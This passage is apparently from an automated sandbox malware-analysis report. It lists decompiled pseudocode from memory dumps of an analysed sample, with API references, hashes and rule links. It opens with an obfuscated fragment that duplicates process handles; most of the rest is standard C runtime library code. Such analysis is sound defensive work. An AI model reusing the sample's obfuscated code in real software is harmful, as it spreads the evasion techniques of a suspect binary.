														_t93 =  *_t174(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(),  &_v1060, 0x100000, 1, 0);
														_t111 = _v1112;
														_t163 = _v1108;
														asm("sbb eax, eax");
														_t42 = ( ~_t93 & 0xe00354e2) + 0x286e3c4b;
														goto L1;
													}
												}
											}
										}
									}
								}
								goto L65;
								L49:
								__eflags = _t42 - 0x888c582;
							} while (_t42 != 0x888c582);
							return _t42;
							goto L65;
						}
					}
				}
			}

0x00409e20
0x00409e2a
0x00409e2e
0x00409e33
0x00409e37
0x00409e37
0x00409e37
0x00409e3b
0x00409e3f
0x00409e44
0x00409e44
0x00409e44
0x00409e50
0x00409e50
0x00409e50
0x00409e50
0x00409e55
0x00000000
0x00000000
0x0040a10b
0x0040a110
0x0040a17c
0x0040a181
0x0040a1d2
0x0040a1d4
0x0040a1d9
0x0040a1db
0x0040a1ee
0x0040a1f3
0x0040a1f3
0x0040a20c
0x0040a20e
0x0040a213
0x0040a216
0x0040a218
0x0040a22b
0x0040a230
0x0040a230
0x0040a237
0x0040a239
0x0040a23e
0x0040a240
0x0040a253
0x0040a258
0x0040a258
0x0040a261
0x0040a263
0x0040a267
0x00409e44
0x00409e44
0x00000000
0x0040a183
0x0040a183
0x0040a188
0x00000000
0x0040a18a
0x0040a190
0x0040a195
0x0040a199
0x0040a19b
0x0040a19f
0x0040a1a6
0x0040a1aa
0x00000000
0x0040a1aa
0x0040a188
0x0040a112
0x0040a112
0x0040a159
0x0040a15e
0x0040a162
0x0040a165
0x0040a16b
0x0040a172
0x00000000
0x0040a114
0x0040a114
0x0040a119
0x0040a290
0x0040a295
0x0040a297
0x0040a2aa
0x0040a2af
0x0040a2af
0x0040a2b6
0x0040a2b8
0x0040a2bd
0x0040a2bf
0x0040a2d2
0x0040a2d7
0x0040a2d7
0x00000000
0x0040a2e0
0x0040a11f
0x0040a124
0x00000000
0x0040a12a
0x0040a12f
0x0040a134
0x0040a136
0x0040a13a
0x0040a13c
0x0040a2ec
0x0040a142
0x0040a142
0x0040a146
0x0040a14b
0x00000000
0x0040a14b
0x0040a13c
0x0040a124
0x0040a112
0x00000000
0x0040a110
0x00409e5b
0x0040a0a2
0x0040a0a7
0x0040a0a9
0x0040a0bc
0x0040a0c1
0x0040a0c1
0x0040a0c8
0x0040a0ca
0x0040a0cf
0x0040a0d1
0x0040a0e4
0x0040a0e9
0x0040a0e9
0x0040a0f2
0x0040a0f4
0x0040a0f8
0x0040a101
0x00000000
0x00409e61
0x00409e61
0x00409e66
0x0040a02c
0x0040a031
0x0040a07a
0x0040a07c
0x0040a088
0x0040a08d
0x0040a091
0x0040a098
0x00000000
0x0040a033
0x0040a033
0x0040a038
0x00000000
0x0040a03e
0x0040a03e
0x0040a043
0x0040a045
0x0040a058
0x0040a05d
0x0040a05d
0x0040a066
0x0040a068
0x0040a06c
0x00000000
0x0040a071
0x0040a038
0x00409e6c
0x00409e6c
0x00409fc3
0x00409fc8
0x00409fca
0x00409fdd
0x00409fe2
0x00409fe2
0x00409fe9
0x00409feb
0x00409ff0
0x00409ff2
0x0040a005
0x0040a00a
0x0040a00a
0x0040a013
0x0040a015
0x0040a019
0x0040a022
0x00000000
0x00409e72
0x00409e77
0x0040a275
0x0040a278
0x0040a27d
0x0040a27f
0x0040a28f
0x00409e7d
0x00409e82
0x00409fa3
0x00409fa8
0x00409fb2
0x00409fb9
0x00000000
0x00409e88
0x00409e8d
0x00000000
0x00409e93
0x00409e93
0x00409e98
0x00409e9e
0x00409ea4
0x00409eb7
0x00409ebc
0x00409ebc
0x00409ec2
0x00409ec4
0x00409ed1
0x00409ed7
0x00409eef
0x00409ef1
0x00409ef1
0x00409ef7
0x00409efb
0x00409f13
0x00409f15
0x00409f15
0x00409f1b
0x00409f1f
0x00409f39
0x00409f39
0x00409f3f
0x00409f47
0x00409f5f
0x00409f61
0x00409f61
0x00409f7e
0x00409f80
0x00409f86
0x00409f8a
0x00409f91
0x00000000
0x00409f91
0x00409e8d
0x00409e82
0x00409e77
0x00409e6c
0x00409e66
0x00000000
0x0040a1b2
0x0040a1b2
0x0040a1b2
0x0040a1c7
0x00000000
0x0040a1c7
0x00409e44
0x00409e3f

APIs

GetCurrentProcess.KERNEL32(?,00100000,00000001,00000000), ref: 00409F75
GetCurrentProcess.KERNEL32(00000000), ref: 00409F78
GetCurrentProcess.KERNEL32(00000000), ref: 00409F7B

Strings

:3K0, xrefs: 0040A183
K<n(, xrefs: 0040A114

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: :3K0$K<n(
API String ID: 2050909247-2412546189
Opcode ID: 70f1aab915d2c9329a975dda8f3fb25881e2c22a5c32d19bc7f15bcf5c188a3c
Instruction ID: 7b70d5c026821b985c1203f3e65b596c94dd32b4d4e3fca729b9b54fdf3e3d83
Opcode Fuzzy Hash: 70f1aab915d2c9329a975dda8f3fb25881e2c22a5c32d19bc7f15bcf5c188a3c
Instruction Fuzzy Hash: C7B1BD70A043008BDA14EFA5D941A2F76A6ABC8B44F04483FF549EB3D1DA3CDD058B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0114E86D, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E0114E86D(void* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v12;
				void* __ebx;
				void* __esi;
				intOrPtr _t44;
				void* _t45;
				signed int _t49;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t59;
				intOrPtr _t61;
				intOrPtr* _t64;
				intOrPtr _t71;
				signed int* _t74;
				void* _t75;
				void* _t77;
				void* _t79;

				_t58 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t64 = _a4;
				if( *_t64 == 0x80000003) {
					L19:
					return _t44;
				}
				_t45 = E0114C25F();
				_t2 =  &_a20; // 0xe06d7363
				_t55 =  *_t2;
				if( *((intOrPtr*)(_t45 + 0x80)) == 0) {
					L6:
					if( *((intOrPtr*)(_t55 + 0xc)) == 0) {
						E0114E09C();
					}
					_t44 = E0114A39B(_t58, _t55, _a28, _a24,  &_v12,  &_v8);
					_t59 = _v12;
					_t79 = _t77 + 0x14;
					_t61 = _v8;
					if(_t59 >= _t61) {
						L18:
						goto L19;
					} else {
						_t17 = _t44 + 0xc; // 0xc
						_t74 = _t17;
						_t44 = _a24;
						do {
							if(_t44 >=  *((intOrPtr*)(_t74 - 0xc)) && _t44 <=  *((intOrPtr*)(_t74 - 8))) {
								_t49 =  *_t74 << 4;
								if( *((intOrPtr*)(_t74[1] + _t49 - 0xc)) == 0) {
									L14:
									_t50 = _t49 + _t74[1] + 0xfffffff0;
									_t71 = _a4;
									if(( *(_t49 + _t74[1] + 0xfffffff0) & 0x00000040) == 0) {
										_push(1);
										_t35 = _t74 - 0xc; // 0x0
										E0114E408(_t55, _t74, _t71, _a8, _a12, _a16, _t55, _t50, 0, _t35, _a28, _a32);
										_t61 = _v8;
										_t79 = _t79 + 0x2c;
										_t59 = _v12;
									}
									L16:
									_t44 = _a24;
									goto L17;
								}
								_t61 = _v8;
								_t55 = _a20;
								if( *((char*)( *((intOrPtr*)(_t74[1] + _t49 - 0xc)) + 8)) != 0) {
									goto L16;
								}
								goto L14;
							}
							L17:
							_t59 = _t59 + 1;
							_t74 =  &(_t74[5]);
							_v12 = _t59;
						} while (_t59 < _t61);
						goto L18;
					}
				}
				__imp__EncodePointer(0);
				_t75 = _t45;
				if( *((intOrPtr*)(E0114C25F() + 0x80)) != _t75 &&  *_t64 != 0xe0434f4d &&  *_t64 != 0xe0434352) {
					_push(_a32);
					_push(_a28);
					_push(_t55);
					_push(_a16);
					_push(_a12);
					_push(_a8);
					_push(_t64);
					_t53 = E0114A2C4();
					_t77 = _t77 + 0x1c;
					_t44 = _t53;
					if(_t44 != 0) {
						goto L18;
					}
				}
			}

APIs

EncodePointer.KERNEL32(00000000), ref: 0114E897
_GetRangeOfTrysToCheck.LIBCMT ref: 0114E8F7

Strings

RCC, xrefs: 0114E8B4
csm, xrefs: 0114E889, 0114E8C2, 0114E8F6, 0114E95B
MOC, xrefs: 0114E8AC

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: CheckEncodePointerRangeTrys
String ID: MOC$RCC$csm
API String ID: 1143505961-2671469338
Opcode ID: 5fb66069ae7af2c724dc2055fb46e48db37a3cb2255b973c52dd953346bfa1c7
Instruction ID: 9662eb6678f8c084e43632dc2c90719a4bc390572d40633fb6e37bdbc5e27685
Opcode Fuzzy Hash: 5fb66069ae7af2c724dc2055fb46e48db37a3cb2255b973c52dd953346bfa1c7
Instruction Fuzzy Hash: 5141A03650110AEFEF1ACF48CC80EAEBB6AFF44B18F184154FA0457291D379A951DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0115D415, Relevance: 7.7, APIs: 5, Instructions: 219
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 93%

			E0115D415(int* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				char* _t56;
				intOrPtr _t59;
				int _t61;
				intOrPtr* _t62;
				signed int _t65;
				intOrPtr* _t67;
				short* _t69;
				int _t72;
				char _t74;
				char* _t77;
				intOrPtr* _t78;
				int _t80;
				int _t86;
				void* _t87;
				int _t88;
				int _t92;
				char* _t95;
				intOrPtr _t99;
				char* _t102;
				int _t105;
				short* _t108;
				short* _t109;
				int _t110;
				void* _t111;
				int _t114;
				void* _t115;
				int _t116;
				signed int _t117;
				void* _t118;

				_t103 = __edx;
				_t117 = _t118;
				_t54 =  *0x1169060; // 0xce125272
				 *(_t117 - 4) = _t54 ^ _t117;
				_t56 =  *(_t117 + 8);
				_t86 =  *(_t117 + 0x10);
				_t114 = 0;
				 *(_t117 - 0x18) = _t56;
				 *(_t117 - 0x10) = 0;
				_t108 =  *(_t117 + 0xc);
				 *(_t117 - 0x14) = _t108;
				if(_t56 == 0) {
					L3:
					_t109 = _t108;
					__eflags = _t109;
					if(__eflags != 0) {
						E01149CE4(_t86, _t117 - 0x2c,  *((intOrPtr*)(_t117 + 0x14)));
						_t59 =  *((intOrPtr*)(_t117 - 0x2c));
						_t95 =  *(_t117 - 0x18);
						__eflags = _t95;
						if(_t95 == 0) {
							__eflags =  *((intOrPtr*)(_t59 + 0xa8)) - _t114;
							if( *((intOrPtr*)(_t59 + 0xa8)) != _t114) {
								_t61 = WideCharToMultiByte( *(_t59 + 4), _t114, _t109, 0xffffffff, _t114, _t114, _t114, _t117 - 0x10);
								__eflags = _t61;
								if(__eflags == 0) {
									L54:
									_t62 = E0114C460(__eflags);
									_t110 = _t109 | 0xffffffff;
									__eflags = _t110;
									 *_t62 = 0x2a;
									L55:
									__eflags =  *((char*)(_t117 - 0x20));
									if( *((char*)(_t117 - 0x20)) != 0) {
										_t99 =  *((intOrPtr*)(_t117 - 0x24));
										_t51 = _t99 + 0x70;
										 *_t51 =  *(_t99 + 0x70) & 0xfffffffd;
										__eflags =  *_t51;
									}
									_push(_t110);
									L58:
									_pop(_t111);
									_pop(_t115);
									_pop(_t87);
									return E0114942B(_t87,  *(_t117 - 4) ^ _t117, _t103, _t111, _t115);
								}
								__eflags =  *(_t117 - 0x10) - _t114;
								if(__eflags != 0) {
									goto L54;
								}
								_t48 = _t61 - 1; // -1
								_t110 = _t48;
								goto L55;
							}
							_t65 =  *_t109 & 0x0000ffff;
							__eflags = _t65;
							if(_t65 == 0) {
								L50:
								_t110 = _t114;
								goto L55;
							}
							_t103 = 0xff;
							while(1) {
								__eflags = _t65 - _t103;
								if(__eflags > 0) {
									goto L54;
								}
								_t109 =  &(_t109[1]);
								_t114 = _t114 + 1;
								_t65 =  *_t109 & 0x0000ffff;
								__eflags = _t65;
								if(_t65 != 0) {
									continue;
								}
								goto L50;
							}
							goto L54;
						}
						__eflags =  *((intOrPtr*)(_t59 + 0xa8)) - _t114;
						if( *((intOrPtr*)(_t59 + 0xa8)) != _t114) {
							__eflags =  *((intOrPtr*)(_t59 + 0x74)) - 1;
							if( *((intOrPtr*)(_t59 + 0x74)) != 1) {
								_t103 = _t117 - 0x10;
								_t110 = WideCharToMultiByte( *(_t59 + 4), _t114, _t109, 0xffffffff, _t95, _t86, _t114, _t117 - 0x10);
								__eflags = _t110;
								if(_t110 == 0) {
									__eflags =  *(_t117 - 0x10) - _t114;
									if(__eflags != 0) {
										L44:
										_t67 = E0114C460(__eflags);
										_t114 = _t114 | 0xffffffff;
										 *_t67 = 0x2a;
										goto L50;
									}
									__eflags = GetLastError() - 0x7a;
									if(__eflags != 0) {
										goto L44;
									}
									__eflags = _t86;
									if(_t86 == 0) {
										goto L55;
									}
									_t69 =  *(_t117 - 0x14);
									while(1) {
										_t103 = WideCharToMultiByte( *( *((intOrPtr*)(_t117 - 0x2c)) + 4), _t114, _t69, 1, _t117 - 0xc,  *( *((intOrPtr*)(_t117 - 0x2c)) + 0x74), _t114, _t117 - 0x10);
										__eflags = _t103;
										if(__eflags == 0) {
											goto L54;
										}
										__eflags =  *(_t117 - 0x10) - _t114;
										if(__eflags != 0) {
											goto L54;
										}
										__eflags = _t103;
										if(__eflags < 0) {
											goto L54;
										}
										__eflags = _t103 - 5;
										if(__eflags > 0) {
											goto L54;
										}
										__eflags = _t103 + _t110 - _t86;
										if(_t103 + _t110 > _t86) {
											goto L55;
										}
										_t72 = _t114;
										 *(_t117 - 0x1c) = _t72;
										__eflags = _t103;
										if(_t103 <= 0) {
											L42:
											_t69 =  &(( *(_t117 - 0x14))[1]);
											 *(_t117 - 0x14) = _t69;
											__eflags = _t110 - _t86;
											if(_t110 < _t86) {
												continue;
											}
											goto L55;
										}
										_t102 =  *(_t117 - 0x18);
										while(1) {
											_t74 =  *((intOrPtr*)(_t117 + _t72 - 0xc));
											_t102[_t110] = _t74;
											__eflags = _t74;
											if(_t74 == 0) {
												goto L55;
											}
											_t72 =  *(_t117 - 0x1c) + 1;
											_t110 = _t110 + 1;
											 *(_t117 - 0x1c) = _t72;
											__eflags = _t72 - _t103;
											if(_t72 < _t103) {
												continue;
											}
											goto L42;
										}
										goto L55;
									}
									goto L54;
								}
								__eflags =  *(_t117 - 0x10) - _t114;
								if(__eflags != 0) {
									goto L44;
								}
								_t25 = _t110 - 1; // -1
								_t114 = _t25;
								goto L50;
							}
							_t88 = _t86;
							__eflags = _t88;
							if(_t88 == 0) {
								L22:
								_t103 = _t117 - 0x10;
								_push(WideCharToMultiByte( *(_t59 + 4), _t114, _t109, _t88, _t95, _t88, _t114, _t117 - 0x10));
								_pop(_t116);
								_t114 = _t116;
								__eflags = _t114;
								if(__eflags == 0) {
									goto L44;
								}
								__eflags =  *(_t117 - 0x10);
								if(__eflags != 0) {
									goto L44;
								}
								_t77 =  *(_t117 - 0x18);
								__eflags = _t77[_t114 - 1];
								if(_t77[_t114 - 1] == 0) {
									_t114 = _t114 - 1;
								}
								goto L50;
							}
							_t78 = _t109;
							_t105 = _t88;
							while(1) {
								__eflags =  *_t78 - _t114;
								if( *_t78 == _t114) {
									break;
								}
								_t78 = _t78 + 2;
								_t105 = _t105 - 1;
								__eflags = _t105;
								if(_t105 != 0) {
									continue;
								}
								break;
							}
							__eflags = _t105;
							if(_t105 != 0) {
								__eflags =  *_t78 - _t114;
								if( *_t78 == _t114) {
									_t88 = (_t78 - _t109 >> 1) + 1;
									__eflags = _t88;
								}
							}
							_t59 =  *((intOrPtr*)(_t117 - 0x2c));
							goto L22;
						}
						_t92 = _t86;
						__eflags = _t92;
						if(_t92 == 0) {
							goto L50;
						}
						_t103 = 0xff;
						while(1) {
							__eflags =  *_t109 - _t103;
							if(__eflags > 0) {
								goto L44;
							}
							_t95[_t114] =  *_t109;
							_t80 =  *_t109;
							_t109 =  &(_t109[1]);
							__eflags = _t80;
							if(_t80 == 0) {
								goto L50;
							}
							_t114 = _t114 + 1;
							__eflags = _t114 - _t92;
							if(_t114 < _t92) {
								continue;
							}
							goto L50;
						}
						goto L44;
					}
					 *((intOrPtr*)(E0114C460(__eflags))) = 0x16;
					E0114B5F1();
					goto L58;
				}
				_t86 = _t86;
				if(_t86 != 0) {
					goto L3;
				} else {
					goto L58;
				}
			}

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed4c4c8c03fc87950d1c258b518888ff0a6363c4ba58e241be9bf9ab23a03c5
Instruction ID: a5cfb675134c0106628cd0b0edde09c2641ee6a754934300a998976e48404fe4
Opcode Fuzzy Hash: aed4c4c8c03fc87950d1c258b518888ff0a6363c4ba58e241be9bf9ab23a03c5
Instruction Fuzzy Hash: 0E71E071901216DFDF698FD8EC449BABFB5EB81328B244129E93997181DB709842CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0115D1B8, Relevance: 7.6, APIs: 5, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0115D1B8() {
				void* __ebx;
				signed int _t30;
				intOrPtr _t32;
				int _t34;
				int _t36;
				int _t40;
				int _t46;
				int _t47;
				char* _t54;
				intOrPtr _t57;
				int _t59;
				int _t60;
				signed char _t62;
				short* _t66;
				short* _t67;
				short* _t70;
				int _t71;
				void* _t73;
				void* _t74;

				_t73 = _t74;
				_t30 =  *(_t73 + 0x10);
				_t66 =  *(_t73 + 8);
				_t70 = 0;
				if(_t66 == 0) {
					L3:
					_t54 =  *(_t73 + 0xc);
					_t80 = _t54;
					if(_t54 != 0) {
						E01149CE4(_t54, _t73 - 0x14,  *((intOrPtr*)(_t73 + 0x14)));
						_t32 =  *((intOrPtr*)(_t73 - 0x14));
						_t67 = _t66;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t32 + 0xa8)) - _t70;
							if( *((intOrPtr*)(_t32 + 0xa8)) != _t70) {
								_t71 = _t70 | 0xffffffff;
								_t34 = MultiByteToWideChar( *(_t32 + 4), 9, _t54, _t71, _t70, _t70);
								__eflags = _t34;
								if(__eflags != 0) {
									goto L26;
								} else {
									 *((intOrPtr*)(E0114C460(__eflags))) = 0x2a;
								}
							} else {
								_t36 = E011493A0(_t54);
								goto L23;
							}
						} else {
							__eflags =  *((intOrPtr*)(_t32 + 0xa8)) - _t70;
							if( *((intOrPtr*)(_t32 + 0xa8)) != _t70) {
								_t71 = _t70 | 0xffffffff;
								_t34 = MultiByteToWideChar( *(_t32 + 4), 9, _t54, _t71, _t67,  *(_t73 + 0x10));
								__eflags = _t34;
								if(_t34 != 0) {
									L26:
									_t25 = _t34 - 1; // -1
									_t71 = _t25;
								} else {
									__eflags = GetLastError() - 0x7a;
									if(__eflags != 0) {
										L20:
										 *((intOrPtr*)(E0114C460(__eflags))) = 0x2a;
										 *_t67 = 0;
									} else {
										_t59 =  *(_t73 + 0x10);
										_t40 = _t54;
										while(1) {
											 *(_t73 + 8) = _t40;
											_t60 = _t59;
											__eflags = _t60;
											if(_t60 == 0) {
												break;
											}
											 *(_t73 - 4) = _t60 - 1;
											_t62 =  *_t40;
											__eflags = _t62;
											if(_t62 == 0) {
												break;
											} else {
												_t46 = E01157280(_t62 & 0x000000ff, _t73 - 0x14);
												__eflags = _t46;
												_t47 =  *(_t73 + 8);
												if(_t46 == 0) {
													L17:
													_t59 =  *(_t73 - 4);
													_t40 = _t47 + 1;
													__eflags = _t40;
													continue;
												} else {
													_t47 = _t47 + 1;
													__eflags =  *_t47;
													if(__eflags == 0) {
														goto L20;
													} else {
														goto L17;
													}
												}
											}
											goto L27;
										}
										_t36 = MultiByteToWideChar( *( *((intOrPtr*)(_t73 - 0x14)) + 4), 1, _t54, _t40 - _t54, _t67,  *(_t73 + 0x10));
										__eflags = _t36;
										if(__eflags != 0) {
											L23:
											_t71 = _t36;
										} else {
											goto L20;
										}
									}
								}
							} else {
								__eflags =  *(_t73 + 0x10) - _t70;
								if( *(_t73 + 0x10) > _t70) {
									while(1) {
										 *_t67 =  *(_t70 + _t54) & 0x000000ff;
										__eflags =  *(_t70 + _t54);
										if( *(_t70 + _t54) == 0) {
											goto L27;
										}
										_t70 =  &(_t70[0]);
										_t67 =  &(_t67[1]);
										__eflags = _t70 -  *(_t73 + 0x10);
										if(_t70 <  *(_t73 + 0x10)) {
											continue;
										} else {
										}
										goto L27;
									}
								}
							}
						}
						L27:
						__eflags =  *((char*)(_t73 - 8));
						if( *((char*)(_t73 - 8)) != 0) {
							_t57 =  *((intOrPtr*)(_t73 - 0xc));
							_t28 = _t57 + 0x70;
							 *_t28 =  *(_t57 + 0x70) & 0xfffffffd;
							__eflags =  *_t28;
						}
						_t30 = _t71;
					} else {
						 *((intOrPtr*)(E0114C460(_t80))) = 0x16;
						_t30 = E0114B5F1() | 0xffffffff;
					}
				} else {
					if(_t30 != 0) {
						 *_t66 = 0;
						goto L3;
					}
				}
				return _t30;
			}

APIs

MultiByteToWideChar.KERNEL32(0115FFCC,00000009,01165310,00000000,00000000,0115FFC4,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0115D24D
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 0115D25B
__isleadbyte_l.LIBCMT ref: 0115D27F
MultiByteToWideChar.KERNEL32(0115FFCC,00000001,01165310,01165310,00000000,0115FFC4,?,?,?,?,?,?,00000000,00000000), ref: 0115D2AE
MultiByteToWideChar.KERNEL32(0115FFCC,00000009,01165310,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0115D2E9

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast__isleadbyte_l
String ID:
API String ID: 1383288797-0
Opcode ID: 31e9a2f162e080f432d8f8cfc2cf14baaaef841f4b652375bc711c946718541e
Instruction ID: 389f50003c0864d41bad4c8e2aa6485dfaa90454f7c4fc33cf752da1d543e2b6
Opcode Fuzzy Hash: 31e9a2f162e080f432d8f8cfc2cf14baaaef841f4b652375bc711c946718541e
Instruction Fuzzy Hash: 9241D47150820AEFDFA99FA8EC44ABF7BA4EF027A4F150155FC7597191DB308840C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01152915, Relevance: 7.6, APIs: 5, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E01152915(void* __ecx, void* __edx, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __esp;
				signed int _t25;
				void* _t32;
				int _t35;
				void* _t40;
				int _t45;
				int _t48;
				void* _t49;
				int _t51;
				void* _t55;
				void* _t57;
				void* _t60;
				short* _t62;
				short* _t63;
				void* _t64;
				int _t65;
				int _t66;
				signed int _t67;
				void* _t68;
				void* _t75;

				_t75 = __fp0;
				_t57 = __edx;
				_pop(_t67);
				_push(__ecx);
				_t25 =  *0x1169060; // 0xce125272
				 *(_t67 - 4) = _t25 ^ _t67;
				_t51 =  *(_t67 + 0x1c);
				if(_t51 == 0) {
					_t45 =  *( *((intOrPtr*)( *((intOrPtr*)(_t67 + 8)))) + 4);
					_t51 = _t45;
					 *(_t67 + 0x1c) = _t45;
				}
				_t48 = MultiByteToWideChar(_t51, 1 + (0 |  *((intOrPtr*)(_t67 + 0x20)) != 0x00000000) * 8,  *(_t67 + 0x10),  *(_t67 + 0x14), 0, 0);
				if(_t48 != 0) {
					if(__eflags <= 0) {
						L13:
						_push(0);
						_pop(_t62);
						goto L14;
					} else {
						__eflags = _t48 - 0x7ffffff0;
						if(_t48 > 0x7ffffff0) {
							goto L13;
						} else {
							_t55 = _t48 + _t48;
							__eflags = _t55 + 8 - _t55;
							if(_t55 + 8 <= _t55) {
								goto L13;
							} else {
								_t40 = 8 + _t48 * 2;
								__eflags = _t40 - 0x400;
								if(_t40 > 0x400) {
									_push(_t40);
									_t65 = E01149F2F(_t48, _t57, 0, _t75);
									_t66 = _t65;
									__eflags = _t66;
									if(_t66 == 0) {
										goto L3;
									} else {
										 *_t66 = 0xdddd;
										goto L12;
									}
								} else {
									E01156C50(_t40);
									_t66 = _t68;
									__eflags = _t66;
									if(_t66 == 0) {
										goto L3;
									} else {
										 *_t66 = 0xcccc;
										L12:
										_t62 = _t66 + 8;
										L14:
										_t63 = _t62;
										__eflags = _t63;
										if(_t63 == 0) {
											goto L3;
										} else {
											E01149280(_t63, 0, _t48 + _t48);
											_t35 = MultiByteToWideChar( *(_t67 + 0x1c), 1,  *(_t67 + 0x10),  *(_t67 + 0x14), _t63, _t48);
											__eflags = _t35;
											if(_t35 != 0) {
												0 = GetStringTypeW( *(_t67 + 0xc), _t63, _t35,  *(_t67 + 0x18));
											}
											E01150BA7(_t63);
											_push(0);
										}
									}
								}
							}
						}
					}
				} else {
					L3:
				}
				_pop(_t60);
				_pop(_t64);
				_pop(_t49);
				_t32 = E0114942B(_t49,  *(_t67 - 4) ^ _t67, _t57, _t60, _t64);
				_push(_t67);
				return _t32;
			}

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,00000001,00000000,?,?,01152A39,00000100,?,00000100,?), ref: 01152955
__alloca_probe_16.LIBCMT ref: 0115298A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,00000100,?,?,00000000), ref: 011529D6
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 011529E8
__freea.LIBCMT ref: 011529F1

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ByteCharMultiWide$StringType__alloca_probe_16__freea
String ID:
API String ID: 1272776707-0
Opcode ID: 1ee24b92bd21a0c305ec26b3ec561c1a9e8a203f012e25ee09f62e18cb3c33d7
Instruction ID: 4f9d322b723cf23f408c075af6b1f718b3728d2c8fd55f534400a6fb6be7aef6
Opcode Fuzzy Hash: 1ee24b92bd21a0c305ec26b3ec561c1a9e8a203f012e25ee09f62e18cb3c33d7
Instruction Fuzzy Hash: 1F31A23260012AEFDF689F95DC80DEF7BBDEB49795B100129FD24D6250E7319850C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 011495C7, Relevance: 7.6, APIs: 5, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 21%

			E011495C7(intOrPtr _a4) {
				intOrPtr _v8;
				void* __ebx;
				intOrPtr _t12;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				void* _t22;
				intOrPtr* _t23;
				intOrPtr _t25;
				void* _t26;
				void* _t34;
				signed int _t37;
				void* _t39;
				intOrPtr* _t40;
				void* _t42;

				_t40 = __imp__DecodePointer;
				_t12 =  *_t40( *0x116cc30, _t34, _t39, _t22, _t26);
				_v8 = _t12;
				_t23 =  *_t40( *0x116cc2c);
				_t14 = _v8;
				if(_t23 < _t14) {
					L11:
					_t15 = 0;
				} else {
					_t37 = _t23 - _t14;
					_t3 = _t37 + 4; // 0x4
					if(_t3 < 4) {
						goto L11;
					} else {
						_t42 = E0114B18D(_t14);
						_t4 = _t37 + 4; // 0x4
						_t17 = _t4;
						if(_t42 >= _t17) {
							L10:
							__imp__EncodePointer(_a4);
							_t10 = _t23 + 4; // 0x4
							 *_t23 = _t17;
							__imp__EncodePointer(_t10);
							 *0x116cc2c = _t17;
							_t15 = _a4;
						} else {
							if(_t42 < 0x800) {
								0x800 = _t42;
							}
							_t25 = _v8;
